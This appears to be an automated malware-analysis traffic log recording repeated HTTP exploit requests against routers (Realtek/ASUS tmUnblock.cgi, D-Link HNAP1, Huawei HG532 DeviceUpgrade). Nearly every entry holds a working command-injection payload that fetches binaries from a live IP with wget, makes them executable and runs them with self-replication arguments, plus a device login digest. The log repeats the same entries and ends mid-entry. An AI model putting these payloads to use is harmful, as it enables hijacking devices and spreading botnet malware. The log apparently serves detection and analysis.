Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope 